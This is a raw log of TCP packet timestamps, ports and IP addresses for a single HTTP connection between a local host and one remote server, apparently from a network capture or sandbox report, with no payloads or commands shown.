Dec 16, 2024 15:25:34.398211956 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.398274899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.399043083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.399082899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.399117947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.399912119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.400131941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.400202036 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.400716066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.400893927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.400970936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.401597977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.401611090 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.401679039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.402354002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.402364969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.402415991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.403199911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.403270960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.403338909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.404110909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.404169083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.404179096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.404992104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.405050993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.405109882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.405812025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.405872107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.405890942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.406519890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.406533957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.406563044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.408229113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.408241987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.408258915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.408318043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.408339977 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.408387899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.409296036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.409348965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.409388065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.410300970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.410363913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.410469055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.411081076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.411129951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.411130905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.412026882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.412039995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.412081957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.412827969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.412862062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.412897110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.413243055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.413316965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.459357023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.459372044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.459400892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.459441900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.459618092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.459739923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.460235119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.460427999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.460486889 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.461102962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.461222887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.461268902 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.462183952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.462196112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.462250948 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.462754011 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.462862968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.462969065 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.463634968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.463742971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.463792086 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.464417934 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.464560986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.464618921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.465354919 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.465368032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.465429068 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.466171980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.466399908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.466459036 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.466969013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.467107058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.467216969 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.467860937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.467873096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.467924118 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.468673944 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.468725920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.468774080 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.469504118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.469558001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.469615936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.470338106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.470350027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.470398903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.471185923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.471196890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.471262932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.472018003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.472088099 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.472146988 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.472846985 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.472860098 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.472909927 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.473614931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.473902941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.473956108 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.474455118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.474473000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.474519014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.475368977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.475471973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.475526094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.476109982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.476203918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.476260900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.477068901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.477081060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.477130890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.477816105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.478183031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.478247881 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.478642941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.478655100 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.478693008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.479464054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.479682922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.479731083 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.480547905 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.480561018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.480613947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.481106043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.481224060 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.481987000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.482063055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.482106924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.482156992 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.482877016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.482888937 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.482939005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.483731031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.483820915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.483870029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.484678030 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.484694004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.484752893 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.485335112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.485405922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.485452890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.486211061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.486224890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.486280918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.486943007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.487073898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.487119913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.487854958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.488008976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.488056898 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.488670111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.488795996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.488854885 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.489479065 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.489541054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.489592075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.490381002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.490394115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.490478039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.491267920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.491281986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.491341114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.491941929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.492088079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.492321968 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.492854118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.493099928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.493170023 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.493742943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.493901014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.493949890 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.494504929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.494680882 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.494729996 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.495500088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.495621920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.495687008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.496149063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.496218920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.496268034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.497081041 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.497092962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.497170925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.498007059 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.498018980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.498070002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.498647928 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.498759031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.498815060 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.499600887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.499614954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.499670029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.500477076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.500576973 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.501106024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.501157999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.501343012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.501388073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.502175093 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.502187967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.502243996 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.502819061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.554667950 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.651143074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651156902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651170015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651194096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651248932 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.651293039 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.651571989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651582956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651595116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.651643991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.652075052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.652117968 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.652196884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.652209997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.652224064 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.652251959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.653043032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653054953 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653068066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653115034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.653156042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.653160095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653937101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653949976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653960943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.653987885 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.654015064 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.654055119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.654824972 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.654877901 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.654915094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.654927015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.654962063 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.654980898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.655853033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.655864954 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.655875921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.655915022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.655920982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.655953884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.656667948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.656721115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.656722069 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.656740904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.656959057 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.656987906 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.657592058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.657776117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.657788992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.657800913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.657829046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.657865047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.658489943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.658535957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.658560038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.658571959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.658607960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.658672094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.659450054 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.659471989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.659485102 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.659521103 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.659550905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.659607887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.660398960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.660409927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.660420895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.660449982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.660485029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.660506964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.661267996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.661315918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.661333084 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.661345005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.661396027 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.661418915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.662206888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.662218094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.662230015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.662262917 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.662292957 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.662339926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.663094044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.663136005 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.663144112 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.663150072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.663202047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.663247108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.663985968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664140940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664151907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664165020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664191008 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.664940119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664952040 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664963007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.664988995 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.665020943 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.665024042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.665879965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.665891886 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.665901899 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.665940046 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.665978909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.666038990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.666830063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.666841984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.666856050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.666918993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.666918993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.667145967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.667670012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.667725086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.667736053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.667758942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.667774916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.667865992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.668638945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.668718100 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.668812990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.668824911 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.668875933 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:34.668895960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:34.669570923 CET	80	49742	185.215.113.16	192.168.2.5
